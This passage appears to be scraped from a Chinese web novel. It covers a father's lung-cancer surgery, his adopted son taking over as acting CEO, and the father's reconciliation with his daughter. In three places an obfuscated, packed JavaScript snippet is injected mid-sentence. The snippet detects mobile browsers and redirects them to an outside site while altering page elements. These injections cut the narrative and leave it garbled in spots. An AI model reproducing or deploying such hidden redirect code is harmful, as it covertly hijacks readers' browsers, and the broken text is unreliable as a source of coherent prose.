媒体这才渐次散去。 与此同时,一辆不起眼的小型黑色轿车从后院出发,悄然汇入下山的车流之中。 林鹤堂入住的,其实是本市的养和医院—— 一家保密性极好的私立医院,也称“富豪医院”。 这会儿,他应该正在进行手术前的各项前期检查。 诸如此类的安排,在昨天回家的路上,林鸣修就告诉了柚安。 陈静淑的煽动手段,他是从小领教到大的,林鸣修自己也没有想到,气到几经失去理智的情况下,柚安硬是咬到现在,一个字都没有松口。 不过一路上,柚安也没再跟他说过一句话,林鸣修有一瞬间觉得,她这辈子都不打算同他说话了。 半小时后,两人进入养和医院七楼的私人病房,与林鹤堂和尹晴汇合。 林鹤堂换上了病号服,已经禁食禁水,等待术前检验结果出来后,没有问题即可手术。 柚安坐在病床前,不敢去看他的脸,目光虚虚落在蓝白条纹的病号服上,强行挤出笑容说:“没事的,肯定是良性的,不信我们打赌。” “咳咳,嗯。”林鹤堂清了清喉咙。 场面有些尴尬,然而并没有尬住多久,因为很快,血液报告和超声检测报告就出来了。 其中,体现癌症指标的血清值都在正常范围内,但是“肺癌七种自身抗体检测”的结果中,抗-GBU4-5和抗-MAGEA1均超出了正常范围。 花白头发的主治医生面色凝重,“这两项结果……” “是鉴定肺结节良恶性的重要指标。”柚安兀自说道,耳边已听不到任何声音。 “林小姐说得对。”医生点头表示肯定,“好在头部MR和四肢超声检测没有问题,这意味着,癌细胞没有向头部和四肢转移。” 林鹤堂和尹晴对视了一眼,两人都很平静,似乎对这个结果早有准备。 再看柚安,她低头认真地看着报告,好像要将那些数字吃进去,深吸一口气,再深吸一口气……虽不算淡定从容,但跟昨天餐桌上那惶恐无措的模样相比,简直派若两人。 林鹤堂拍拍她的背,“没事的,你妈有点头疼,一会儿你看好她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847634|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……哦,好。” 林柚安强自镇定,仍不敢看父亲的脸。 这个节骨眼,谁也没空伤春悲秋。但分明有什么东西堵在胸腔,就快要爆炸了。 不久,又进行了术前的医患谈话,循例由主刀医生告知手术风险。林鹤堂不让其他人跟着,谈话结束后,他坦然签署了手术同意书,手术就正式开始了。 一切流程紧密相扣,不给任何人说任何一句感伤话的机会,很符合林鹤堂高效锋利的行事风格。 病人被推走后,病房顿时空了,柚安盯着惨白墙面上,指向七点的时钟,思绪一片空白。 手术预期四个小时,术中会取出一部分肿瘤标进行快速检测,确定良性还是恶性,以及对肿瘤标志物周边进行检测,确定肿瘤是否扩散。 柚安和尹晴在病房等待检测结果。尹晴眼部手术后,一紧张就会眼压上升,进而头疼,此刻吃了粒布洛芬,柚安让她干脆睡一觉,醒了人就出来了。尹晴说,哪里睡得着?但副作用上来,再紧张也熬不过,最终还是睡去了。 帮尹晴掖好被子,柚安缓步走到落地窗前,直直坐到靠窗的沙发上。 浑身的神经紧绷,仿佛轻微地动一下,都会产生什么变数。 时钟的秒针发出有序的“滴答”声,每一声都过分漫长,却又害怕最终的那个时间点到来,带来不好的消息。 手机在口袋里不时振动,频率越来越高,令人烦躁地不行,她拿出来一看,消息栏已被各路轰炸。 原来媒体收到消息,开始报道林鹤堂病重的新闻,甚至有内部人士透露,林鹤堂已于昨晚病逝。 消息一出,舆论沸腾,牵动几百亿股值。 不敢想象明日开盘,港股市场将会发生几级地震。 通讯录里,不论亲疏远近,也都发来了慰问,红色的数字没完没了。 随手上刷几页,血压就升了上来,不少人真的相信林鹤堂去世了,叫她节哀,还有不知道哪里来的“朋友”,问她遗产分配情况。 “BullShit!” 柚安死死握住手机,正欲摔出去,忽然想到什么,动作一顿,重新点亮屏幕。 手指悬停在通讯录上方,片刻之后,翻出了那个沉默的深蓝色海浪头像。 LYA:【去哪里了?新闻看了吗?】 林鸣修已经消失有一段时间了,林柚安下定决心把他当空气,但是如此兵荒马乱的时刻,不得不在意他的缺席。好像种种诸如此类的糟心时刻,已经习惯了他的在场。 不做指望地发去信息后,很快便收到了回复。 XU:【8103】 不知道为什么林鸣修的昵称是“XU”,看上去不像是英文名,他也不姓“许”……可能是汉语拼音没有学好。 看着这个言简意赅的房间号码,柚安有一瞬间觉得他回错了人。 此刻离手术开始只过去了半小时。 死等下去,只怕要被一分一秒熬死,柚安决定找过去看看。 私立医院的七楼肃静洁白,不见其他病患。 柚安沿着走廊走入电梯厅,乘电梯上至八楼。 这一楼是医院顶层,没有病房,只有会议室,办公室和几间小型演播室,用于学术会议和演讲。 沿墙上的指示标走到一条空寂的走廊,路上看不到一个人。 惨白的走廊尽头,是一间会议室,大门上挂着8103的门牌。 门没有关死,林柚安轻轻推开一条小缝,立即被人发现。数道锐利的目光从缝隙处投射出来,男男女女,精英打扮,令人想到聚在树梢观察猎物的秃鹫。 她心口一怵,下一秒,就看到站在最里边的林鸣修。 他侧身对着门,正抬手在白板上写着什么,视线越过两旁压迫感极强的正装人士,倏然撞见那道熟悉的,薄而修长的挺立侧影,不由得一颤。 林鸣修动作一顿,稍一颔首,离门最近的一位黑西服男士大步走来,将门打开,同时警惕地看了看门外。 “大小姐请。” ……原来他们知道自己身份。 却依然要经由林鸣修的点头,才肯收起防备。 24. 第 24 章 林柚安步入,门立刻被关上,方才那一线空隙,好像是特意为她留的。 两排长桌上摆满笔电、文件和传真机,线路四处游走,医院的会议室,被改造成临时作战室,林柚安默默数了数,一共八人,大概都是林鹤堂,不,是林鸣修信得过的高层。看上去,没有一个低于二十年工作经验,更没有一个比林鸣修年轻,却都以他为权利中心。 林鸣修目送林柚安进来后,便继续了会议,并没有互相介绍的意思。 林柚安自觉走到墙边一排空座坐下。 场面犹如战场,电脑屏幕上荧光闪烁,曲线、数字不断攀升下降,有人肩头夹着电话,不断向外传送指令,收回消息,有人盯着白板,跟林鸣修讨论着什么。 大部分的术语林柚安都听不懂,但听得久了,大致能辨认出核心问题—— 如何稳住四海寰宇的股价。 这由划分为两个更具体的问题—— 对外如何作公关,稳住舆论。 以及对内如何让董事会安心,让林鸣修这个代理CEO得到他们的信任。 再具体的,她试图去理解,但能力经验始终有限。 林鸣修站在中心位置,黑色衬衫的袖口挽至肘间,写白板时,另一只手习惯性插兜,讨论交锋时,神情肃冷而强势,尽管脸庞年轻,但比这些老手更像老手。 她从未见过他如此气场,利刃般的眼神,举手投足沉稳决断。 从他的眉宇间,居然能够想象出父亲年轻时,挥斥方遒的模样。 就像说过的那样,他知道的,柚安都会知道,兵荒马乱中,他也一直在践行承诺,不由分说地将她拉至自己的阵营,和跟随自己征战南北的盟友同等地位。 林柚安不知不觉看得出神,他额头沁出的薄汗、两腮冒出的胡茬,以及脸上那两处创口贴…… 昨晚的暴怒化作数道说不清的复杂情绪,相互交织,纠缠不清。 就这样,时间又过去两个小时。 有人送来宵夜,数张九寸披萨铺满长桌,口味各异,高管们就着咖啡吃起披萨,气氛稍稍轻松了一些。 林鸣修这才看向林柚安,他走过来,低头注视她片刻,“吃点吗?” 一天下来不停地输出,此刻嗓音几分沉哑。 林柚安没答话,站起身,径直走出会议室。 沿着纵伸的走廊走回电梯厅,下至七楼病房,尹晴仍没有醒。 坐在床边不知等了多久,尹晴缓缓睁开眼睛。 “几点了,手术做完了吗?” 林柚安看了看时钟,四个小时已然过去。 “还没出来,可能要超时,常有的事,别担心。” 她起身给尹晴倒热水,尽量收起疲惫,“就算是恶性,现在也有很多靶向药可以选择,医生会根据基因检测结果,选择最适合爸的,治疗前景很乐观。” 尹晴捧着水杯喝了一口,眼中含笑,“我之前,还一直担心该怎么安慰你。” “您以为……” “我以为你会哭哭啼啼,或者又开始像先前那样不吃饭。” “妈……”柚安有点不高兴。 “是我想多了,我总爱把事情往坏处想,”尹晴捋了捋她的头发,“或者说,我私心希望你,永远是一个任性、长不大的小孩。这个世界,不懂事、爱哭的人,往往命好一些。” 柚安蹙眉,不大能理解这种心理,但眼眶微微泛湿。 “我小的时候,不就挺不懂事的?” “有吗?” “您失忆啦?” “没有。” 那更像是,过度敏感之下的过度自我保护。 尹晴没有戳破。 她朝四周看了看,“鸣修呢?” “他在八楼开作战会议。”林柚安放低声量,“似乎他要暂代CEO?” “你爸的意思,”尹晴纠结了会儿,出声问她,“你有没有不高兴?最近非常时期,他倚赖鸣修比较多,忽视了你。其实你爸这个人,有点不知道怎么跟你好好说话,特别是这种时候。昨天,本来打算跟你谈谈的,被大伯一家这么一闹,又给了他逃避的机会。” 林柚安笑道:“我没有不高兴啊,倚赖我,那公司成什么样啦?” 她耸耸肩,一副乐得轻松的样子。 很不幸地,没有多久便破了功。 沉默了会儿,一双手肘支在膝上,脸埋在手臂里,久久没有声音。 虽然这个想法逞强又不讲理,但她多想,这个时候,也有人能依靠依靠自己。 成长期的任性和叛逆,好像终于付出了代价,那铅般灌入全身的无力和愧疚感,沉得无法忽视。 “喂……”尹晴揉揉她的发顶,想要安慰,一抬头看到站在门边的林鸣修。 “鸣修——开完会了?” 林鸣修目光从柚安身上移开,对尹晴道:“官方文件发出去了,对爸的身体状况做了正面披露,以及暂时CEO的任命相关,也作了公开声明。明天我将开一个新闻发布会,正式说明这件事。另外,那些造谣的账号,也发出了律师函,后续将由法务部追责……看来爸没那么快出来。” “你别太辛苦。”尹晴说着,感觉到柚安的脑袋动了动,“鸣修,我想喝杯牛奶,劳烦你了。” “好。”林鸣修转身出门。 再回来时,林柚安已经若无其事地在沙发上坐好,听到脚步声,眼皮也没有掀一下。 林鸣修手上两杯热鲜奶,一杯递给尹晴,一杯放在林柚安身旁的茶几上,旋即走向门边,“我去手术室那边看看,活检报告应该出来了。” 尹晴连忙起身,“那我跟你一起去。” “您小心。”林鸣修扶住她,两人一起走出病房。 柚安迟了片刻,默默跟在了后面。 到手术室所在的楼层不久,林鹤堂就被推出来了。 人还没醒,带着氧气罩,面色灰败,像残年旧纸。 医生宣布手术结果:“肿瘤是恶性的,切除面积比预计要大,整片右上肺叶都被切除了,好消息是在切除的标体边缘,没有发现扩散的迹象。” 尹晴听到没有扩散迹象,大舒一口气,全副精力放在林鹤堂身上。 林鸣修继续与医生沟通,讨论后续治疗方案,柚安紧跟着他,耳朵都要竖起来。 “具体术后治疗方案,要等完整的病理报告,和基因检测报告出来。” “目前可知的是,左肺上叶还有一处比较大的结节,位置很深,以林先生目前的身体状况,不适宜一同切除,可以先服用靶向药加以控制,如果脱离控制开始恶化,可能需要做第二次手术。” “由于这次切除面积较大,恢复可能较慢。” “两年内,每三月进行复查随诊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857376|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 几人一边交谈,一边步入电梯。 病人被安置到病床,呼吸平稳,血氧正常,林柚安感觉像久溺的人,终于能够浮出水面,呼吸一口氧气。 但是一想到那个“如果”,就像又被人按了下去。 如果恶化,如果扩散,如果另一个结节不受控制,如果靶向药没有效果…… 和“癌症”这两个字挂上钩,担心似乎永无尽头。 不多久,林鹤堂转醒,目光尚且昏蒙。 尹晴附在他耳边说:“手术顺利,没有扩散。” 林鹤堂点了点头。 医护人员进来检查,各项体征都很正常,这时候林鹤堂也稍微能够坐起来一点。 除医护外,尹晴坐在病床上,紧挨着他,一儿一女站在床边,几个亲信站在离床稍远一点的地方,年纪与林鹤堂相当,都是柚安在八楼见过的人,脸上俱是关切。 “杵这么多人干什么?都走,”林鹤堂下巴朝柚安和林鸣修抬了抬,“你们俩个也走,先去泊港,不用守着我。” 泊港公馆离医院很近,是最近才购置的,专为手术后续疗养和恢复,如需长期化疗,住在此处也比较方便。 柚安当然不同意,“要去也是妈回去睡觉。” 尹晴笑说,“你以为他叫得动我啊?” 柚安抿嘴,眉间拧着。 “去吧,”尹晴拍拍她,“晚上病房有专人二十四小时陪护,基本不需要我做什么。” 林鹤堂挥挥手,这个动作对他来说还有点吃力,喘着气,“快走。” 几个亲信问候后先行离开。 林鸣修动身说:“局面尚且可控,您好好休息。” 林鹤堂点头。 林鸣修又看向柚安,“走吧。” 柚安将视线瞥向别处,僵持了会儿,最后还是跟着林鸣修走了。 极度紧张的情绪一旦松懈下来,全身便如同虚脱,没有一丝力气。昏着眼,凭直觉跟随着前方节奏规律的脚步,忽忽悠悠来到地下车停车场。 不是林鸣修常开的路虎,一辆极低调的黑车,车门打开,里面放着一份外卖,外卖袋上的店名是柚安钟爱的那家云吞面店。 林鸣修:“让Kim跑了个腿,看你晚上没吃什么,趁热吃。” 亏他打仗的间隙,还惦记着自己没吃东西,柚安被脸颊涌上的热意熏地瞬间清醒,但仍是没作理会,径直坐上副驾。 林鸣修坐进驾驶座,系上安全带,云吞面放在中间的置物台上,袋内氤氲着热气。 “真的不吃?” 柚安将脸转向另一边,视线瞟向窗外。 沉默半晌,油门没有启动,她听见“咔哒——”一声,转头一看,林鸣修解了自己的安全带。 “那你开车。” “……” 柚安没忍住纵了眉头。 “你开车,我吃面。”林鸣修不咸不淡地重复了一遍,单手搭在方向盘上,侧头等她。 僵持片刻,柚安咬着后槽牙,解安全带下车,忍着困意,一脚油门将车启动。 十分钟的路程,封闭的车厢内,云吞面的鲜香气味将她五脏六腑统统唤醒,吃那么多次,居然没有一次发现它这样香。 胃里的馋虫不管不顾地发出抗议,柚安一路祈祷,希望林鸣修专心吃云吞,没听到那连绵不绝的“咕咕”声。 25. 第 25 章 泊港公馆周围绿化极好,人少幽静,私密性一流。 独立的两层小楼被庭院外围一圈松柏包围,六月绿树成荫,郁郁葱葱,几乎要将小楼淹没。 面积远不如夏山郡,但也五脏俱全。 此刻还没有佣人进驻,但是每个房间都已打扫布置完毕。 林鸣修带柚安去二楼卧室区,除了主卧,其他三个房间让她选。 柚安选了最靠近主卧的一间,收拾好东西,将胡桃夹子玩偶擦了擦,放在床头,才发现这间好像是林鸣修为他自己准备的。 因为床头放了几本金融学,和企业管理方面的书,俱已被翻旧。 床品的颜色也是他平时惯用的深棕色,整个房间色调统一暗沉,一什一物洁净规整,和他给人的感觉很像。 林鸣修已经不见踪影,他没有提出异议,柚安也就懒得换了。 洗了个澡,换身睡衣出来,半躺在床上,时针指向一点。 捞过手机,开机看了一眼,未读消息的数字超出想象。 其中轰炸最为猛烈的,是大伯母和三个堂哥。 林鸣修暂代CEO的官方消息一放出来,他们一家怨声载道,发来的消息七弯八拐,绕不过林鸣修是蓄谋已久,欺哄着林鹤堂得到的权利这件事。言下之意,他们再不联合起来发起行动,家产就要被那个外人侵吞光了。 柚安面无表情地一滑到底。 关机,睡觉。 房间安静地要命,脑袋昏昏沉沉,越想清空思绪,好好睡一觉,越是睡不着。 索性随手拿过床边的书,翻起来。 是少时最抗拒的科目,充斥着各色冰冷的专有名词,看这种书,最容易入睡了。 半页都没看完,果真开始走神。 她想起在八楼会议室时,也是听到这样晦涩难懂,又叫人焦虑烦躁的话术,你来我往的交锋叫人皮质醇不断攀升,她待在那里毫无用处,却没有走开,反而努力逼自己听懂。 究其原因,大概是一种身为林鹤堂女儿的责任,让她觉得,应该待在那里吧。 当然,后面被林鸣修夺去注意力的半小时除外。 肩膀好沉。 她失意的人生还没有完全好起来,又被突如其来的变故压上沉重的责任。 是的,没有人认为这个对家族生意一窍不通的女儿能够承担什么责任。 但她自己不能。 人在经历了一整天提心吊胆,又在深夜失眠的时候,总爱胡思乱想,企图抓住些什么,如溺水者之于浮木。 譬如,如果从现在开始“懂事”,能不能挽回些什么,能不能交换父亲的健康,让愧疚感少一点点。 于是她重新专注于书本,努力想把文字吃进去。 从前为了抗拒这些东西,闹得天翻地覆,现在又企图从中得到丁点救赎。 然而终究是徒劳。 时针指向两点,她彻底无心睡眠。 抱着书下床,趿着拖鞋走出房门。 走廊幽静,一线微光从某一间房门缝隙透出来,柚安怔了怔,朝那个方向走去。 门没有锁死,她轻敲房门,推门而入。 猜得没错,这间正是林鸣修的书房。 主人坐在桌前,带着金丝眼睛,面前的电脑屏幕荧光闪烁,澄黄灯光将他洗过未干透的短发镀了层柔金色。 听到声响,他目光越过屏幕,见柚安抱着本《期权波动率与定价》站在门口,眼中焦急与疲惫交织翻涌。 她穿着一件白色背心睡裙,没有繁复的装饰,剪裁合衬,像道初凝的月光,好像眨眼就会消失一样。 林鸣修看了眼时钟,眉弓一抬,好像在问“几点了,这个时候要干嘛”。 柚安几番挣扎,终是开口:“能不能教我?” 还以为这家伙能冷战多久。 没出息啊,林鸣修在心中笑她。 柚安眼观鼻,鼻观心,等在那里。 林鸣修嘴角勾了勾。 “叫哥哥,就教你。” “……” 柚安紧抿着唇,一下子想起昨晚被他逼至门上,被要求叫一声“大哥”的情景,脖颈飞速升温,红至耳根。 林鸣修并没有昨天的强势,也许他也很累了,但是嘴角始终咬着一丝玩味的笑容。 不知僵持了多久,柚安干脆走到桌前,将书往桌面一拍,径自拖来一把椅子,往他对面一坐—— 教与不教随意,反正她睡不着,可以耗上整晚。 林鸣修抬指锁屏,看向她。 “真要学?” “嗯……”柚安避过他的目光,其实不确定,但难道要说,她实在不知道还能做什么了吗? “我不能,什么都不懂。” 她终于开始理解,也许林鹤堂当初逼她学金融,学企业管理,出席各种交际应酬,并非全是为了将四海这艘巨轮寄托在她身上,而是为了在这种时刻,手握比任何同辈股份都多的她,不会什么都不懂,一副好摆布的样子。 “你……有空吗?”她心下惴惴。 林鸣修轻笑,“坐过来。” 顺势将办公椅往里挪了挪,让出位置。 柚安很干脆地将椅子挪过去,从对面坐到了他身旁。坐下的瞬间,幽幽一抹香气弥散过来,浅浅淡淡,有点像尹晴爱摆在床头的小百合,林鸣修下意识屏息。 “吃不吃甜的?”他问。 “?”柚安拧眉。 但是不得不说,他真的很懂得什么能让她无法抗拒。 没等她回答,林鸣修起身走向门外。 厨房没有别的食物,考虑到有什么能哄父亲生病,心情不好就不想吃东西的女生,他便着人备了些甜食放在冰箱里。 从冰箱里拿出来两个菠萝油,复烤两分钟后拿上楼,一人一只。 菠萝油酥皮的香气溢满房间,被林鸣修咬一口后,露出里面的黄油流心,路过面包店闻到的那种,能把人引诱入店,大买特买的香气,谁能把持得住? 柚安内心一番挣扎,最终宣告放弃。 拿起一只菠萝油咬了一口,眼看流心淌出来,快要脏到手,急忙又补一口,鼓鼓囊囊一张脸,努力地嚼,像只愤怒的松鼠。 林鸣修翻着《期权波动率与定价》,余光瞟到,心里很想笑。 “吃完了就开始教吗?”柚安语焉不详地问。 “不啊。” “?!” “不是说了,叫哥哥才教吗?” 林鸣修气定神闲,细细咀嚼,而后端起咖啡啜饮。 松鼠气得脸都涨红,张了张嘴,终是喊不出口,眼眶都涨红了。 趁被棋盘砸的悲剧没有重演,林鸣修开口:“你先吃,我看看能教你些什么。” 柚安继续愤怒地吃菠萝油。 这本书里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873655|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西需要一定先识课程才能懂,不适合没有任何基础的小白。也许她更需要具体的东西,譬如公司的期权机制、董事会架构、还有那些盘根错节的内部派系…… 只要她想知道,他将知无不言。 思忖着这些时候,蓦地感到空气安静下来,扭头一看,盛菠萝油的盘子已经空了,柚安趴在桌上,睡得好香…… 林鸣修:…… 他站起身,合上《期权波动率与定价》放到一边,垂眸注视,见她肩背一起一伏平静规律,像是一时半会儿不会醒了,便伸臂将她抱起,走回卧室。 她轻得像一朵云,毫不费力。 将她放到卧室的床上,盖上被子的时候想起来,他在这张床上睡过几次,不由地呼吸一滞。 那刹那,没有办法不心旌荡漾。 无数冲动如暗潮般沉浮,所幸诸如此类的经验很多,他深谙如何克制。 最终,他替柚安掖好被子,起身离开。 又过了数秒,床上的人睫羽轻颤,眼睛缓缓睁开一条缝,见人已离开,这才轻舒一口气。 她抓着薄被边缘,心绪如春潮带雨。 被抱起的刹那醒了,不知道为什么,她不敢睁眼。 感觉到林鸣修的手臂极有力量,挨着他的胸膛,她心脏猛撞,然后她听见他说:“你再重点就好了。” 周围静极了,视觉被禁锢,低沉暗哑的嗓音显得无比贴近,烫红了她耳畔。 那语气,分明有丝缱绻味道。 仿佛浮在云端,昏昏然的。 过了一会儿,身体落在柔软的床上,冰丝薄被盖在身上,冰凉又贴肤的触感,加剧了这种昏昏然。 他一时还没有走,浮于面颊之上的鼻息,如轻薄的晨雾,他在想什么呢? . 第二天,他们吃过早饭后,开车前往养和医院。 林鹤堂在病房里换药,门锁着,尹晴也不让陪同。 林鸣修便先去八楼,跟高管商量新闻发布会的事宜。 柚安陪尹晴等在门外。 尹晴忿忿:“换个药还把我赶出去,昨天夜里入厕也是叫护工扶,洗手间的门锁得死死的,越老越矫情。” 柚安笑得乐不可□□不是形象包袱吗?哎哟,老夫老妻也有形象包袱啊。” 少时,她总觉得父母只生她一个,难免对她寄予不切实际的期望,要求她事事优秀,她还要时不时承担“林家的独生女太不争气,难挑大梁”的流言蜚语,因此一度抑郁。 后来“不争气”久了,也就释怀了,现在想起来,还蛮骄傲的。 没有哪个豪门不是子嗣充盈,内斗如九子夺嫡,老婆情人共存也不是什么新闻。 尹晴身体不好,只生了她一个,林鹤堂没有给夫人生育压力,也没有在外面搞出私生子,对妻子忠贞爱护至此,难道不值得作女儿的骄傲吗? “塞我一嘴狗粮……”柚安不怕死地揶揄。 尹晴气得拧她。 她捂着胳膊跑开,靠在门边的墙上,下意识瞥了眼电梯厅的方向。 面板上的数字停留在“8”。 就在即将收回目光的刹那,一个向下的箭头出现,并开始闪烁。 柚安的心跳无端地加快了几分。 那箭头不知闪到第几下,病房的门先开了。 “你爸终于换完药了。”尹晴将她手臂一挽,走了进去。 26. 第 26 章 病房井然如常,林鹤堂换过药之后,没休息一会儿就要下床走动。 尹晴嗔他太过好强,但他也躺了将近一天了,医生也说适当走动对病人有好处,她便没有阻拦。 柚安主动上前搀扶,两人走在七楼的廊道上,廊道居然那么长。 他俩一直没有机会长谈,从前叛逆时期,两人就像火药,都不用点,见面就爆炸。这次归家之后,柚安虽有所收敛,但对父亲依然敬而远之,心里的结像是纠缠了八百年的数据线,堵塞郁结成一团。 林鹤堂扶着沿墙环绕的扶手,另一只手被柚安搀扶。 重量压在柚安手里地瞬间,身体跟着一沉,那团团淤积的心结在胸腔迅速膨胀。 她开着玩笑打破沉默:“您说我现在开始念商,还来不来得及?” 林鹤堂皱眉,心里微微涌起一种,她要去祸害公司的恐惧感,拧眉问她:“为什么?” 玩笑失败了,父女的频率永远有差,柚安讪讪地说:“就是,说个笑话,想让您开心开心,那个,爸……” “怎么了?” “我现在开始听话,还来得及吗?”没头没尾地,她问出堵在胸腔的问题,“来得及当一个合格的,林鹤堂的女儿吗?” 话说完,鼓起全部勇气看向林鹤堂,只觉得一夜之间,他老了十岁不止,身体的损伤非常直观地体现在面色上,饶是他再不服老,也掩盖不了。 柚安瞬间鼻酸,赶紧收敛目光。 林鹤堂满是疑惑,“谁说你不合格了?谁敢这么说你?” “您觉得呢?”她眼睫扑扇两下。 没有人敢跟她这么说,但下意识里,她总顶着一个“不合格”印章,落章的,大概是林鹤堂无数次失望愤怒的眼神。 “我从来没有这么想过,即便你打唇环那会儿,也没这么想过。”走廊走到底,林鹤堂停下来,手撑着扶手,“哪有做父母的,会出一套标准判断儿女合不合格?就算有,你也远在合格线之上。” 柚安不信,瞧着父亲,仿佛在问: 合格线在哪里?东非大裂谷吗? “你,咳咳——你的歌那么好听。”林鹤堂不太习惯说这种话。 真心夸奖女儿的话,怎么也会硌得嗓子疼?员工大会上号令千军万马,谈判桌上激烈交锋,都不曾有过这样的紧张。 喘匀呼吸之后,他继续说道:“那时候,在电视上看到你,我很骄傲。要不是你不愿意公开身份,我真的想让全世界都知道,你是我林鹤堂的女儿。” “真的?” “千真万确,我很庆幸当初没有强行送你去念商科。你很小就抓准了自己的天赋,顶着那么大的压力没有放弃,做到这样,已经是人生赢家了。” 柚安吸了吸鼻子,终于忍不住,大滴的眼泪落下来。她以为林鹤堂永远对她上不了台面的爱好,和不成气候的事业嗤之以鼻,七年的辛酸随着这句嗓音沙哑的认同流淌而过,变成灼人的岩浆,烧得她心口剧痛。 “那后来呢?我出了不好的新闻,退圈了。”她哽咽问道。 林鹤堂看着她急切的眼神,不禁失笑。 半晌,说道:“那算个屁呀!” 年龄阅历的巨大落差之下,淹没柚安的大江大海,放在林鹤堂的脚下,只不过是条不起眼的溪流。 更别提那折磨她许久的单向恋情。 放在此刻,竟觉得说都说不出口。 她想起曾经看过的一场舞蹈演出,最后一幕,层层轻纱落在舞者身上,那看起来毫无重量的东西,慢慢将身姿灵活的舞者淹没,埋葬。 现在,她就好像那名伏地的舞者,只不过镜头倒放,身上的轻纱慢慢被抽走,有种身处真空的轻盈感。 她终于哭起来,彻底不顾形象。 挣脱压在身上的最后一层轻纱,她哭着对林鹤堂说:“我一直在想,一直在想,是不是小时候的叛逆,还有后来的一堆破事,把您气出病来的,不然您这么自律克己的人,怎么会得癌?” 林鹤堂眸光轻颤,拍拍女儿肩膀,“憋很久了吧?” 然而他的每一个动作,每一句话都成了加剧柚安情绪失控的砝码—— 她哭地更凶了。 碰在一起说不上三句话的父女,陷入这样的局面,还是头一次,林鹤堂又心疼又窘迫,像手里捧了个棉花糖,不得不看着,又好怕它化了。 各种情绪像洪流开闸,柚安哭到气喘,边哭边诉说委屈。 柚安:“我没跟那个老头怎么样!我没失德!” 林鹤堂:“那当然了。” 柚安:“我没打过唇环!那个是夹的!” 林鹤堂:“……哦啊。” 林鹤堂看着女儿苦笑,他一直以为柚安没心没肺,胡闹任性,此时此刻反倒希望,她是真的没心没肺。 无措之中,扫到不远处推着轮椅,正在待命的林鸣修。那一刻,林鸣修推着的不是轮椅,而是茫茫大海上的救生船。 于是,就在柚安哭到天昏地暗之际,蓦地听到林鹤堂喊了一声“鸣修”。 哭声戛然而止,天地瞬间安静,只有脚步声,由远及近。 “林柚安丢脸记录仪”还真是从来不缺席任何一个丢脸的场合。 她这才反应过来自己有多失态,羞愤难当之下,索性将脸一捂,面对着墙角蹲下,一副拒绝全世界的姿态,等待他们自觉走开。 林鹤堂坐上轮椅,朝林鸣修投去一个“怎么办”的眼神。 林鸣修说:“等她哭完,自己就好了。” 在处理破碎的女儿这件事上,林鹤堂的情商远不如尹晴。 他真就笔直地坐在轮椅上,等着。 他不走,林鸣修也只有一块儿站着。 一站一坐两尊雕像。 随着啜泣声渐小,空气逐渐安静,这就是所谓的社死吧。 柚安正生无可恋,忽闻一大批脚步声靠近。 原来是公关团队下来请示等一下发布会的事宜,见林鸣修父子肃穆地看着蹲在墙角的大小姐,活像两头狼正在试图哄一只瑟瑟发抖的小白兔。 场面极度安静,一群人谁也不敢打破这诡异的气氛,只能严肃地矗立在旁,同董事长和CEO一块儿行注目礼。 最后,是花白头发的主治医生看到一群黑西装人士,默哀似的围在一起,便上前告诉林鹤堂该去做呼吸训练了,这才让一行人解散。 林鹤堂朝着柚安张了张嘴,却不知道该说什么,转而对林鸣修说:“这里交给你了。” 林鸣修点头。 林鹤堂随医生回病房,林鸣修先是同高层说完该说的事,将人撤走,再看柚安,后者还老老实实蹲在角落里。 他上前一步,裤腿向上一提,屈膝蹲在柚安旁边。 “干嘛?”柚安双手下移,露出一双不耐烦的眼睛,示意他别管自己。 林鸣修一条腿屈起,膝盖触地,比柚安缩成一团的蹲姿要高。 他的视线微微向下,看着柚安,沉默着没有说话。 就在柚安的不耐烦将要爆发的时候,他抬臂,手掌触到她的发顶,摸了摸。 分明进犯了安全距离,却温柔地叫人无法拒绝。 柚安睫毛轻颤,像被打湿的,蝴蝶的翅膀。 一张纸巾落到她手里,下一秒,林鸣修起身走远。 . 林鹤堂做完呼吸训练,医生做了简单评估,说他恢复地还可以。 被柚安这一闹,他术后昏沉衰败的身体,竟莫名感到松脱,甚至愉悦。 是以听过林鸣修关于新闻发布会的汇报后,他决定亲自主持。 地点就在医院的八层,某一间会议室改造成了发布会现场,全程以直播的方式的进行。 董事长在直播镜头前说明自己的身体状况,当然避开了“癌症”之类的词语,宣称是普通的肺部结节手术,术后一切正常,但需修养观察一段时间,其间所有工作,由义子林鸣修暂代。 化过妆后,林鹤堂的状态看起来依旧轩昂,他昨天才进行过手术,没有公关团队为他准备讲稿,全程即兴,却字 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后者只是对身边人稍作交代,便径直下台走向柚安。 “我以为你跟爸一起去病房了。” 